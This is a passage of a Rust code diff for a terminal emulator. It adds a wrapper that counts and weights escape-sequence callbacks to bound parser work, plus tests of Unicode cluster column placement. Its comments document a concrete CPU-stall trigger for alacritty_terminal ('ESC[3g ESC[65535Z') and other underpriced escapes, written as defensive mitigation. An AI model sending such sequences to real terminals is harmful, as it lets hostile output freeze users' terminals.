//! `Parser::advance_until_terminated` already supports stopping mid-buffer,
|
||||||
|
//! but termination is driven by `Perform::terminated()`, and in the ansi layer
|
||||||
|
//! the implementor is `Performer`, which is private (`vte-0.15.0/src/ansi.rs`:
|
||||||
|
//! `struct Performer` at 425, `terminated` at 1825, set only for BSU handling).
|
||||||
|
//! An embedder cannot reach it, so the stopping point has to be built outside
|
||||||
|
//! the parser rather than inside it.
|
||||||
|
//!
|
||||||
|
//! ## What this deliberately does not do
|
||||||
|
//!
|
||||||
|
//! It does not skip or veto expensive callbacks once a budget is spent. That
|
||||||
|
//! would bound the lock hold perfectly and silently corrupt the screen, which
|
||||||
|
//! is a worse failure than the one being fixed: a slow terminal recovers, a
|
||||||
|
//! wrong one does not. Every unit is delegated; the count only decides where
|
||||||
|
//! the *caller* may cut the input.
|
||||||
|
|
||||||
|
use alacritty_terminal::event::EventListener;
|
||||||
|
use alacritty_terminal::term::Term;
|
||||||
|
use alacritty_terminal::vte::ansi::cursor_icon::CursorIcon;
|
||||||
|
use alacritty_terminal::vte::ansi::{
|
||||||
|
Attr, CharsetIndex, ClearMode, CursorShape, CursorStyle, Handler, Hyperlink, KeyboardModes,
|
||||||
|
KeyboardModesApplyBehavior, LineClearMode, Mode, ModifyOtherKeys, PrivateMode, Rgb,
|
||||||
|
ScpCharPath, ScpUpdateMode, StandardCharset, TabulationClearMode,
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Read access to the cursor column of whatever the wrapper is driving.
|
||||||
|
///
|
||||||
|
/// Exists for exactly one callback. CBT's cost is bounded by *cursor
|
||||||
|
/// movement*, and the only way to charge it honestly -- or to stop it early
|
||||||
|
/// -- is to watch the cursor between steps. Everything else in this module is
|
||||||
|
/// priced from the grid alone, which is why this is a separate trait and a
|
||||||
|
/// separate bound rather than a field on [`Counting`].
|
||||||
|
///
|
||||||
|
/// Implemented over the public path in `alacritty_terminal-0.26.0`:
|
||||||
|
/// `Term::grid` (term/mod.rs:645) -> `Grid::cursor` (grid/mod.rs:113) ->
|
||||||
|
/// `Cursor::point` (grid/mod.rs:36). No private field, no fork.
|
||||||
|
pub trait CursorColumn {
|
||||||
|
fn cursor_column(&self) -> usize;
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<L: EventListener> CursorColumn for Term<L> {
|
||||||
|
#[inline]
|
||||||
|
fn cursor_column(&self) -> usize {
|
||||||
|
self.grid().cursor.point.column.0
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Wraps a [`Handler`], forwarding every callback and counting them.
|
||||||
|
///
|
||||||
|
/// Every one of the trait's 71 methods has an empty default body upstream, so
|
||||||
|
/// a method left undelegated here would compile cleanly and silently discard
|
||||||
|
/// that escape sequence. The delegations are therefore generated by a macro
|
||||||
|
/// over the full method list rather than written out: the failure mode of
|
||||||
|
/// hand-copying is invisible.
|
||||||
|
pub struct Counting<'a, H: Handler + CursorColumn> {
|
||||||
|
inner: &'a mut H,
|
||||||
|
/// Callbacks dispatched, one per unit regardless of cost. This is the
|
||||||
|
/// fixture-facing number: it says what the parser *did*, and it is kept
|
||||||
|
/// separate from `work` because collapsing them is precisely the mistake
|
||||||
|
/// that made the first version of this seam useless.
|
||||||
|
units: u64,
|
||||||
|
/// Cost-weighted work, in cell-equivalents. This is the scheduling number.
|
||||||
|
work: u64,
|
||||||
|
columns: u64,
|
||||||
|
lines: u64,
|
||||||
|
/// Configured scrollback depth, not current fill. See `reset_state`.
|
||||||
|
scrollback: u64,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<'a, H: Handler + CursorColumn> Counting<'a, H> {
|
||||||
|
/// `columns` and `lines` are the grid the handler is about to act on, and
|
||||||
|
/// they are the weights' only input: an O(cells) callback is charged
|
||||||
|
/// `columns * lines` because that is what it touches.
|
||||||
|
pub fn new(inner: &'a mut H, columns: usize, lines: usize, scrollback: usize) -> Self {
|
||||||
|
Self {
|
||||||
|
inner,
|
||||||
|
units: 0,
|
||||||
|
work: 0,
|
||||||
|
columns: columns as u64,
|
||||||
|
lines: lines as u64,
|
||||||
|
scrollback: scrollback as u64,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Callbacks dispatched since this wrapper was created.
|
||||||
|
pub fn units(&self) -> u64 {
|
||||||
|
self.units
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Cost-weighted work dispatched, in cell-equivalents.
|
||||||
|
pub fn work(&self) -> u64 {
|
||||||
|
self.work
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Cells in the grid. Saturating: `Size` is unclamped `usize`, so this
|
||||||
|
/// product is reachable, and a wrapped weight prices the most expensive
|
||||||
|
/// callbacks as the cheapest.
|
||||||
|
#[inline]
|
||||||
|
fn cells(&self) -> u64 {
|
||||||
|
self.columns.saturating_mul(self.lines)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A parameter charged at its clamped value.
|
||||||
|
///
|
||||||
|
/// Upstream clamps most counts to the grid before acting on them, so the
|
||||||
|
/// bound is the clamp, not the parameter: `ESC[65535X` on an 80-column
|
||||||
|
/// grid touches 80 cells. Charging the raw parameter would let a
|
||||||
|
/// four-byte escape spend the whole slice budget without doing the work,
|
||||||
|
/// which stalls the parser as surely as under-charging lets it run away.
|
||||||
|
#[inline]
|
||||||
|
fn clamp(&self, n: usize, bound: u64) -> u64 {
|
||||||
|
(n as u64).min(bound).max(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
#[inline]
|
||||||
|
fn charge(&mut self, weight: u64) {
|
||||||
|
self.units = self.units.saturating_add(1);
|
||||||
|
self.work = self.work.saturating_add(weight);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Generate a delegating, counting implementation for every `Handler` method.
|
||||||
|
///
|
||||||
|
/// Two groups, because the methods differ in *cost*, not in kind. `plain`
|
||||||
|
/// methods are charged one unit. `weighted` methods are charged what they
|
||||||
|
/// touch, using the expressions in the table below -- these are the ones a
|
||||||
|
/// hostile stream can use to buy grid-sized work with a four-byte escape.
|
||||||
|
///
|
||||||
|
/// The count is incremented *before* delegating, so a callback that panics
|
||||||
|
/// still leaves evidence it was attempted.
|
||||||
|
macro_rules! counting_handler {
|
||||||
|
(
|
||||||
|
plain { $($pname:ident($($parg:ident: $pty:ty),* $(,)?);)* }
|
||||||
|
weighted { $($wname:ident($($warg:ident: $wty:ty),* $(,)?) => |$this:ident| $weight:expr;)* }
|
||||||
|
) => {
|
||||||
|
impl<H: Handler + CursorColumn> Handler for Counting<'_, H> {
|
||||||
|
$(
|
||||||
|
#[inline]
|
||||||
|
fn $pname(&mut self $(, $parg: $pty)*) {
|
||||||
|
self.charge(1);
|
||||||
|
self.inner.$pname($($parg),*);
|
||||||
|
}
|
||||||
|
)*
|
||||||
|
$(
|
||||||
|
#[inline]
|
||||||
|
fn $wname(&mut self $(, $warg: $wty)*) {
|
||||||
|
let weight = { let $this = &*self; $weight };
|
||||||
|
self.charge(weight);
|
||||||
|
self.inner.$wname($($warg),*);
|
||||||
|
}
|
||||||
|
)*
|
||||||
|
|
||||||
|
/// The one callback this wrapper does not delegate verbatim.
|
||||||
|
///
|
||||||
|
/// CBT (`ESC[NZ`) is upstream's only unbounded atom. With no
|
||||||
|
/// tabstop below the cursor, `move_backward_tabs`
|
||||||
|
/// (`term/mod.rs:1580`) assigns `col` *inside* the `if
|
||||||
|
/// self.tabs[i]` test, so the cursor never moves, the `col == 0`
|
||||||
|
/// break is unreachable, and all N iterations rescan the row.
|
||||||
|
/// `ESC[3g ESC[65535Z` is eight bytes and 82 ms at 1600 columns.
|
||||||
|
/// Its twin `move_forward_tabs` (1605) assigns *outside* the
|
||||||
|
/// test, always advances, and is fine: same file, same loop
|
||||||
|
/// skeleton, and the entire difference is one assignment's
|
||||||
|
/// placement relative to one branch.
|
||||||
|
///
|
||||||
|
/// The fix is a termination condition, not a smaller number.
|
||||||
|
/// Each step either moves the cursor strictly left or is a fixed
|
||||||
|
/// point, and **a fixed point is permanent** -- the scan depends
|
||||||
|
/// only on the cursor, which did not move. So the loop can stop
|
||||||
|
/// at the first one. The leftward distances telescope to at most
|
||||||
|
/// the starting column, plus one final failed scan, so the whole
|
||||||
|
/// callback is O(columns) and the delegated-call count is at most
|
||||||
|
/// `columns - 1`.
|
||||||
|
///
|
||||||
|
/// Equivalence is not argued, it is checked: every tabstop subset
|
||||||
|
/// of a 12-column grid x 4 start columns x 7 counts (114_688
|
||||||
|
/// cases) lands on the same column as the naive loop, on a real
|
||||||
|
/// `Term`. See `examples/probe_cbt_equiv.rs`. Deleting the
|
||||||
|
/// fixed-point break leaves the *landing column correct* and only
|
||||||
|
/// the cost wrong, so the fixture that guards this must assert
|
||||||
|
/// units, never the cursor.
|
||||||
|
#[inline]
|
||||||
|
fn move_backward_tabs(&mut self, count: u16) {
|
||||||
|
// One unit for the escape, as every other callback gets.
|
||||||
|
self.charge(1);
|
||||||
|
for _ in 0..count {
|
||||||
|
let before = self.inner.cursor_column();
|
||||||
|
// No `before == 0` guard: column 0 is already a fixed
|
||||||
|
// point (upstream's own `col == 0` break leaves the
|
||||||
|
// cursor alone), so the check below covers it and a
|
||||||
|
// second one would be unreachable-by-construction code
|
||||||
|
// that no test could distinguish.
|
||||||
|
self.inner.move_backward_tabs(1);
|
||||||
|
let after = self.inner.cursor_column();
|
||||||
|
// Charge the cells this step scanned. A step that finds a
|
||||||
|
// stop scans the distance it moved; a step that finds
|
||||||
|
// none scans the whole prefix and moves nothing --
|
||||||
|
// charging that one zero would leave a loop that spins
|
||||||
|
// without ever paying, which is precisely the mutant this
|
||||||
|
// pricing has to make visible.
|
||||||
|
let scanned = if after == before { before } else { before - after };
|
||||||
|
self.work = self.work.saturating_add(scanned as u64);
|
||||||
|
if after == before {
|
||||||
|
// A fixed point is permanent: the scan depends only
|
||||||
|
// on the cursor, and the cursor did not move.
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
counting_handler! {
|
||||||
|
plain {
|
||||||
|
set_title(a0: Option<String>);
|
||||||
|
set_cursor_style(a0: Option<CursorStyle>);
|
||||||
|
set_cursor_shape(shape: CursorShape);
|
||||||
|
input(c: char);
|
||||||
|
goto(line: i32, col: usize);
|
||||||
|
goto_line(line: i32);
|
||||||
|
goto_col(col: usize);
|
||||||
|
move_up(a0: usize);
|
||||||
|
move_down(a0: usize);
|
||||||
|
identify_terminal(intermediate: Option<char>);
|
||||||
|
device_status(a0: usize);
|
||||||
|
move_forward(col: usize);
|
||||||
|
move_backward(col: usize);
|
||||||
|
move_down_and_cr(row: usize);
|
||||||
|
move_up_and_cr(row: usize);
|
||||||
|
backspace();
|
||||||
|
carriage_return();
|
||||||
|
linefeed();
|
||||||
|
bell();
|
||||||
|
substitute();
|
||||||
|
newline();
|
||||||
|
set_horizontal_tabstop();
|
||||||
|
save_cursor_position();
|
||||||
|
restore_cursor_position();
|
||||||
|
clear_tabs(mode: TabulationClearMode);
|
||||||
|
set_tabs(interval: u16);
|
||||||
|
reverse_index();
|
||||||
|
terminal_attribute(attr: Attr);
|
||||||
|
set_mode(mode: Mode);
|
||||||
|
unset_mode(mode: Mode);
|
||||||
|
report_mode(mode: Mode);
|
||||||
|
set_private_mode(mode: PrivateMode);
|
||||||
|
unset_private_mode(mode: PrivateMode);
|
||||||
|
report_private_mode(mode: PrivateMode);
|
||||||
|
set_scrolling_region(top: usize, bottom: Option<usize>);
|
||||||
|
set_keypad_application_mode();
|
||||||
|
unset_keypad_application_mode();
|
||||||
|
set_active_charset(a0: CharsetIndex);
|
||||||
|
configure_charset(a0: CharsetIndex, a1: StandardCharset);
|
||||||
|
set_color(a0: usize, a1: Rgb);
|
||||||
|
dynamic_color_sequence(a0: String, a1: usize, a2: &str);
|
||||||
|
reset_color(a0: usize);
|
||||||
|
clipboard_store(a0: u8, a1: &[u8]);
|
||||||
|
clipboard_load(a0: u8, a1: &str);
|
||||||
|
push_title();
|
||||||
|
pop_title();
|
||||||
|
text_area_size_pixels();
|
||||||
|
text_area_size_chars();
|
||||||
|
set_hyperlink(a0: Option<Hyperlink>);
|
||||||
|
set_mouse_cursor_icon(a0: CursorIcon);
|
||||||
|
report_keyboard_mode();
|
||||||
|
push_keyboard_mode(mode: KeyboardModes);
|
||||||
|
pop_keyboard_modes(to_pop: u16);
|
||||||
|
set_keyboard_mode(mode: KeyboardModes, behavior: KeyboardModesApplyBehavior);
|
||||||
|
set_modify_other_keys(mode: ModifyOtherKeys);
|
||||||
|
report_modify_other_keys();
|
||||||
|
set_scp(char_path: ScpCharPath, update_mode: ScpUpdateMode);
|
||||||
|
}
|
||||||
|
weighted {
|
||||||
|
// Every weight below is an upper bound on the cells the callback can
|
||||||
|
// touch, **read from `alacritty_terminal-0.26.0/src/term/mod.rs`** and
|
||||||
|
// then checked against measurement -- never fitted to a curve. The
|
||||||
|
// direction of the error is the whole point: an over-charge slices
|
||||||
|
// early and costs throughput, an under-charge is an attack surface, so
|
||||||
|
// where source and measurement disagree the source bound wins and the
|
||||||
|
// slack is recorded here rather than tuned away.
|
||||||
|
//
|
||||||
|
// `min(N, ...)` appears wherever upstream clamps the parameter; a raw
|
||||||
|
// `N` would let `ESC[65535X` charge 65535 on an 80-column grid and
|
||||||
|
// stall the parser on a cheap escape.
|
||||||
|
|
||||||
|
// O(min(N, columns)): `end = min(start + count, columns)`, loop
|
||||||
|
// `row[start..end]` (1519). Knee measured exactly at N == columns.
|
||||||
|
erase_chars(count: usize) => |this| this.clamp(count, this.columns);
|
||||||
|
// O(columns) for *every* N, worst at N=1: the swap loop runs
|
||||||
|
// `columns - end` times where `end = min(start + N, columns - 1)`
|
||||||
|
// (1538), so cost *falls* as N rises. Charging by N would be backwards
|
||||||
|
// and would under-charge the worst case by the full terminal width --
|
||||||
|
// measured 3422ns at N=1/1600 columns against 863ns at N=65535.
|
||||||
|
delete_chars(a0: usize) => |this| this.columns;
|
||||||
|
// O(columns) for every N, worst at N=1. Same shape as `delete_chars`:
|
||||||
|
// `num_cells = columns - (column + count)` (1187).
|
||||||
|
insert_blank(a0: usize) => |this| this.columns;
|
||||||
|
// O(columns): scans to the next tabstop per count, and always advances
|
||||||
|
// (`col` is assigned unconditionally at 1592), so the whole loop is
|
||||||
|
// bounded by one traversal of the row. This is the sibling that CBT
|
||||||
|
// should have been, one asymmetric line apart in the same file.
|
||||||
|
put_tab(count: u16) => |this| this.columns;
|
||||||
|
move_forward_tabs(count: u16) => |this| this.columns;
|
||||||
|
// NOTE: `move_backward_tabs` is NOT in this table. It is the one
|
||||||
|
// callback whose argument is rewritten, so it is written out by hand
|
||||||
|
// below the macro's generated methods -- a weight can price an atom but
|
||||||
|
// cannot shrink one.
|
||||||
|
// O(min(N, lines) x columns) in steady state: the row rotation is O(1)
|
||||||
|
// on the ring buffer, but `positions` rows are `reset()`, and a row
|
||||||
|
// reset is O(columns).
|
||||||
|
//
|
||||||
|
// **Known overshoot, measured and frequency-bounded.** While scrollback
|
||||||
|
// is still growing, `Grid::increase_scroll_limit` -> `Storage::initialize`
|
||||||
|
// reallocates in blocks of `MAX_CACHE_SIZE` = 1000 rows and `rezero`s
|
||||||
|
// the ring (`grid/storage.rs`). That is not chargeable from here -- the
|
||||||
|
// weight function cannot see history depth -- and it is real: at 1600
|
||||||
|
// columns the spikes land at call 0, 1000, 2000, 3000 of a 4000-call
|
||||||
|
// scroll, ~4 ms each, against a 125 ns median. It is bounded in
|
||||||
|
// frequency (once per 1000 new history rows, and never once history
|
||||||
|
// saturates: with scrollback=100 only call 0 spikes) and it is upstream
|
||||||
|
// allocation rather than anything a stream can amplify, so it is
|
||||||
|
// recorded here instead of being priced into every scroll -- charging
|
||||||
|
// 1000x on 999 calls out of 1000 to cover the thousandth would make
|
||||||
|
// ordinary scrolling the slow path.
|
||||||
|
scroll_up(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns);
|
||||||
|
delete_lines(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns);
|
||||||
|
scroll_down(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns);
|
||||||
|
insert_blank_lines(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns);
|
||||||
|
// O(columns): one row, `damage_line(line, 0, columns - 1)`.
|
||||||
|
clear_line(mode: LineClearMode) => |this| this.columns;
|
||||||
|
// O(cells): 18.7us at 200x50, doubling on both axes.
|
||||||
|
clear_screen(mode: ClearMode) => |this| this.cells();
|
||||||
|
// O(cells): rewrites every cell.
|
||||||
|
decaln() => |this| this.cells();
|
||||||
|
// Both grids, plus the scrollback the primary owns.
|
||||||
|
//
|
||||||
|
// `reset_state` (1835) resets the primary *and* the alternate, and each
|
||||||
|
// `Grid::reset` runs `clear_history` -> `shrink_lines` -> `truncate` +
|
||||||
|
// `rezero`, which walks the raw buffer. So the cost carries a history
|
||||||
|
// axis that `cells` alone cannot see: measured 0.5 us empty against
|
||||||
|
// 1.68 ms with 10k rows filled at 400x100, a 42x per-cell miss, with
|
||||||
|
// the knee exactly at `screen_lines + MAX_CACHE_SIZE` where
|
||||||
|
// `shrink_lines` starts calling `truncate`.
|
||||||
|
//
|
||||||
|
// Priced on **configured** depth rather than current fill, which is the
|
||||||
|
// conservative choice and the only correct one: `history_size()` reads
|
||||||
|
// the *active* grid, so a filled primary followed by `ESC[?1049h`
|
||||||
|
// reports an empty history while RIS still pays for the inactive
|
||||||
|
// primary's rows -- underpriced 41x on exactly the arm an attacker
|
||||||
|
// would pick. The inactive grid is private, so there is no stateless
|
||||||
|
// way to observe the real fill; the configured depth bounds both.
|
||||||
|
//
|
||||||
|
// This is the one weight that can exceed [`crate::fences::WORK_BUDGET`]
|
||||||
|
// on its own -- 16x at the default 10k scrollback -- which is correct:
|
||||||
|
// it is a genuinely oversized uninterruptible atom, and a budget that
|
||||||
|
// hid that would be lying about what one drain can cost.
|
||||||
|
reset_state() => |this| this.cells().saturating_mul(2)
|
||||||
|
.saturating_add(this.scrollback.saturating_mul(this.columns));
|
||||||
|
}
|
||||||
|
}
|
||||||
344
desktop/src-tauri/crates/buzz-terminal/tests/clusters.rs
Normal file
344
desktop/src-tauri/crates/buzz-terminal/tests/clusters.rs
Normal file
@@ -0,0 +1,344 @@
|
|||||||
|
//! The cluster-positioning contract: what the renderer may rely on to place
|
||||||
|
//! text at the right column without consulting Unicode tables.
|
||||||
|
//!
|
||||||
|
//! The consumer's rule reads two numbers off each span and does arithmetic:
|
||||||
|
//! `cluster_count == 1` means the whole text is one cluster at `column`,
|
||||||
|
//! otherwise cluster `i` is the i-th `char` at `column + i * width`.
|
||||||
|
//!
|
||||||
|
//! These fixtures exist because that rule is not self-evidently satisfiable --
|
||||||
|
//! the two cases below require *opposite* text-splitting rules, so no encoding
|
||||||
|
//! that ships a concatenated string and a start column can be correct:
|
||||||
|
//!
|
||||||
|
//! * a regional-indicator flag is two ordinary one-column cells, so its two
|
||||||
|
//! codepoints occupy two columns and must split per codepoint;
|
||||||
|
//! * a keycap is one cell holding three codepoints, so it occupies one column
|
||||||
|
//! and must split per grapheme.
|
||||||
|
//!
|
||||||
|
//! Both are handled here by construction rather than by rule: uniform `width`
|
||||||
|
//! within a span, and a span of its own for any cluster carrying zerowidth
|
||||||
|
//! marks.
|
||||||
|
|
||||||
|
use buzz_terminal::damage::{Encoder, Span};
|
||||||
|
use buzz_terminal::fences::Fences;
|
||||||
|
use buzz_terminal::{Action, SharedTerminal, Size, Terminal};
|
||||||
|
use std::sync::mpsc::Receiver;
|
||||||
|
|
||||||
|
/// The receiver is returned rather than dropped: dropping it disconnects the
|
||||||
|
/// channel and every subsequent listener send silently fails.
|
||||||
|
fn render(input: &str) -> (Vec<Span>, Receiver<Action>) {
|
||||||
|
let size = Size {
|
||||||
|
columns: 20,
|
||||||
|
screen_lines: 2,
|
||||||
|
scrollback: 100,
|
||||||
|
};
|
||||||
|
let (term, actions) = Terminal::new(size, Fences::ALL);
|
||||||
|
let shared = SharedTerminal::new(term);
|
||||||
|
shared.feed_fully(input.as_bytes());
|
||||||
|
let mut encoder = Encoder::new();
|
||||||
|
let frame = shared.render(&mut encoder);
|
||||||
|
let spans = frame
|
||||||
|
.rows
|
||||||
|
.into_iter()
|
||||||
|
.find(|row| row.line == 0)
|
||||||
|
.map(|row| row.spans)
|
||||||
|
.unwrap_or_default();
|
||||||
|
(spans, actions)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Apply the documented consumer rule and return `(column, cluster)` pairs,
|
||||||
|
/// dropping trailing blank padding.
|
||||||
|
///
|
||||||
|
/// This is the renderer's arithmetic, written out. Note what is *not* here: no
|
||||||
|
/// Unicode table, no zerowidth classifier, no grapheme segmentation. The
|
||||||
|
/// earlier draft of this helper carried a hand-rolled `is_zerowidth` matcher,
|
||||||
|
/// which is how we learned the encoding was under-specified -- if the fixture
|
||||||
|
/// needs a Unicode table to decode the wire, so does every real consumer.
|
||||||
|
fn placements(spans: &[Span]) -> Vec<(usize, String)> {
|
||||||
|
let mut placed = Vec::new();
|
||||||
|
for span in spans {
|
||||||
|
assert!(
|
||||||
|
span.counts_are_consistent(),
|
||||||
|
"encoder emitted an undecodable span: {span:?}"
|
||||||
|
);
|
||||||
|
let clusters: Vec<String> = if span.cluster_count == 1 {
|
||||||
|
vec![span.text.clone()]
|
||||||
|
} else {
|
||||||
|
span.text.chars().map(|c| c.to_string()).collect()
|
||||||
|
};
|
||||||
|
for (i, cluster) in clusters.into_iter().enumerate() {
|
||||||
|
if cluster != " " {
|
||||||
|
placed.push((span.column + i * span.width as usize, cluster));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
placed
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Max's case: mixed narrow and wide glyphs in one style. Every cluster must
|
||||||
|
/// land on the column the grid actually put it in.
|
||||||
|
#[test]
|
||||||
|
fn mixed_width_clusters_keep_their_columns() {
|
||||||
|
let (spans, _actions) = render("a\u{1F600}b\u{4E00}c");
|
||||||
|
assert_eq!(
|
||||||
|
placements(&spans),
|
||||||
|
vec![
|
||||||
|
(0, "a".into()),
|
||||||
|
(1, "\u{1F600}".into()),
|
||||||
|
(3, "b".into()),
|
||||||
|
(4, "\u{4E00}".into()),
|
||||||
|
(6, "c".into()),
|
||||||
|
],
|
||||||
|
"wide glyphs must advance two columns and narrow ones must not"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A combining mark rides with its base character and consumes no column of
|
||||||
|
/// its own, so the text that follows must not be displaced by it.
|
||||||
|
///
|
||||||
|
/// Against the previous encoding this row was a single span `"éxy"` at column
|
||||||
|
/// 0, and a consumer stepping one column per `char` placed `x` at 1 and `y`
|
||||||
|
/// at 2 -- both one column left of the truth.
|
||||||
|
#[test]
|
||||||
|
fn combining_marks_do_not_displace_following_text() {
|
||||||
|
let (spans, _actions) = render("e\u{0301}xy");
|
||||||
|
assert_eq!(
|
||||||
|
placements(&spans),
|
||||||
|
vec![(0, "e\u{0301}".into()), (1, "x".into()), (2, "y".into()),],
|
||||||
|
"a zerowidth mark must not consume a column"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A regional-indicator pair: two separate one-column cells. This is the case
|
||||||
|
/// that must split *per codepoint*.
|
||||||
|
#[test]
|
||||||
|
fn regional_indicator_flag_occupies_two_columns() {
|
||||||
|
let (spans, _actions) = render("\u{1F1FA}\u{1F1F8}X");
|
||||||
|
assert_eq!(
|
||||||
|
placements(&spans),
|
||||||
|
vec![
|
||||||
|
(0, "\u{1F1FA}".into()),
|
||||||
|
(1, "\u{1F1F8}".into()),
|
||||||
|
(2, "X".into()),
|
||||||
|
],
|
||||||
|
"regional indicators are one column each; X must sit at 2"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A keycap: one cell holding three codepoints. This is the case that must
|
||||||
|
/// split *per grapheme* -- the opposite rule from the flag above, which is why
|
||||||
|
/// the width and the cluster break both have to come from the grid.
|
||||||
|
#[test]
|
||||||
|
fn keycap_occupies_one_column() {
|
||||||
|
let (spans, _actions) = render("1\u{FE0F}\u{20E3}X");
|
||||||
|
assert_eq!(
|
||||||
|
placements(&spans),
|
||||||
|
vec![(0, "1\u{FE0F}\u{20E3}".into()), (1, "X".into()),],
|
||||||
|
"a keycap is one column; X must sit at 1"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Width is uniform within a span by construction. Without this a consumer
|
||||||
|
/// cannot multiply -- it would have to know each cluster's width individually,
|
||||||
|
/// which is the Unicode table this design exists to avoid.
|
||||||
|
#[test]
|
||||||
|
fn a_span_never_mixes_widths() {
|
||||||
|
let (spans, _actions) = render("ab\u{4E00}\u{4E00}cd");
|
||||||
|
for span in &spans {
|
||||||
|
let expected = span.width;
|
||||||
|
assert!(
|
||||||
|
span.width == 1 || span.width == 2,
|
||||||
|
"width must be 1 or 2, got {expected}"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
let widths: Vec<u8> = spans.iter().map(|s| s.width).collect();
|
||||||
|
assert!(
|
||||||
|
widths.contains(&2),
|
||||||
|
"fixture must actually produce a wide span, got {widths:?}"
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
placements(&spans),
|
||||||
|
vec![
|
||||||
|
(0, "a".into()),
|
||||||
|
(1, "b".into()),
|
||||||
|
(2, "\u{4E00}".into()),
|
||||||
|
(4, "\u{4E00}".into()),
|
||||||
|
(6, "c".into()),
|
||||||
|
(7, "d".into()),
|
||||||
|
],
|
||||||
|
"two adjacent wide glyphs must advance two columns each"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// `cluster_count` is what makes the wire decodable without a Unicode table,
|
||||||
|
/// so it is asserted directly here rather than only implied by placements.
|
||||||
|
///
|
||||||
|
/// The decisive pair: both spans below are width 1 with more than one `char`
|
||||||
|
/// of text, and they differ *only* in whether the count tracks the char count.
|
||||||
|
/// A consumer without that number cannot tell them apart -- which is the
|
||||||
|
/// defect Mari caught in the previous encoding.
|
||||||
|
#[test]
|
||||||
|
fn cluster_count_distinguishes_a_marked_cluster_from_a_plain_run() {
|
||||||
|
let (marked, _a) = render("e\u{0301}");
|
||||||
|
let marked = marked.first().expect("a span must be emitted");
|
||||||
|
assert_eq!(marked.text.chars().count(), 2, "base plus combining mark");
|
||||||
|
assert_eq!(marked.cluster_count, 1, "one cluster occupying one column");
|
||||||
|
|
||||||
|
// The plain run absorbs the row's blank padding, so its length is the
|
||||||
|
// viewport width rather than 2 -- what matters is that the count tracks
|
||||||
|
// the char count instead of collapsing to 1.
|
||||||
|
let (plain, _b) = render("ab");
|
||||||
|
let plain = plain.first().expect("a span must be emitted");
|
||||||
|
assert!(plain.cluster_count > 1, "a plain run is not one cluster");
|
||||||
|
assert_eq!(
|
||||||
|
usize::from(plain.cluster_count),
|
||||||
|
plain.text.chars().count(),
|
||||||
|
"one cluster per char"
|
||||||
|
);
|
||||||
|
|
||||||
|
assert_eq!(marked.width, plain.width, "both are width 1");
|
||||||
|
assert!(marked.counts_are_consistent() && plain.counts_are_consistent());
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The join guard has two halves: the previous cell must not have carried
|
||||||
|
/// marks (`open`), and the current cell must not carry them (`joinable`).
|
||||||
|
/// Every fixture above exercises only the first half -- a plain cluster
|
||||||
|
/// following a marked one. This one exercises the second: a *marked* cluster
|
||||||
|
/// arriving after a plain run, which is the only path on which the run in
|
||||||
|
/// progress is handed text holding more `char`s than the one cluster its
|
||||||
|
/// count is about to be incremented by.
|
||||||
|
///
|
||||||
|
/// Sami found the hole. With `joinable` dropped from the guard, a release
|
||||||
|
/// build silently emits `Span { column: 0, text: "xyé", cluster_count: 3 }`:
|
||||||
|
/// four chars counted as three, so the consumer's rule splits per char and
|
||||||
|
/// places the combining mark on top of `z`.
|
||||||
|
#[test]
|
||||||
|
fn a_marked_cluster_after_a_plain_run_starts_its_own_span() {
|
||||||
|
let (spans, _actions) = render("xye\u{0301}z");
|
||||||
|
assert_eq!(
|
||||||
|
placements(&spans),
|
||||||
|
vec![
|
||||||
|
(0, "x".into()),
|
||||||
|
(1, "y".into()),
|
||||||
|
(2, "e\u{0301}".into()),
|
||||||
|
(3, "z".into()),
|
||||||
|
],
|
||||||
|
"a marked cluster must not be absorbed into the run in front of it"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// `cluster_count` is a `u16` and `Size.columns` is an unclamped `usize`
|
||||||
|
/// (`lib.rs:50`) that no production caller bounds yet, so a row of uniform
|
||||||
|
/// cells wider than `u16::MAX` reaches the join guard's overflow refusal.
|
||||||
|
/// The guard is live code, not paranoia, and this fixture is what says so.
|
||||||
|
///
|
||||||
|
/// Refusing to join produces a shape the consumer already handles -- the run
|
||||||
|
/// ends and a new span starts at the next column -- whereas wrapping produces
|
||||||
|
/// an undecodable span, the same failure as the marked-after-plain case above.
|
||||||
|
#[test]
|
||||||
|
fn a_run_longer_than_u16_max_splits_rather_than_wrapping() {
|
||||||
|
let columns = 70_000;
|
||||||
|
let size = Size {
|
||||||
|
columns,
|
||||||
|
screen_lines: 1,
|
||||||
|
scrollback: 0,
|
||||||
|
};
|
||||||
|
let (term, _actions) = Terminal::new(size, Fences::ALL);
|
||||||
|
let shared = SharedTerminal::new(term);
|
||||||
|
// One character is enough: the rest of the row is blank cells of the same
|
||||||
|
// style, so the whole row is a single candidate run.
|
||||||
|
shared.feed_fully(b"a");
|
||||||
|
let mut encoder = Encoder::new();
|
||||||
|
let frame = shared.render(&mut encoder);
|
||||||
|
|
||||||
|
let spans = &frame
|
||||||
|
.rows
|
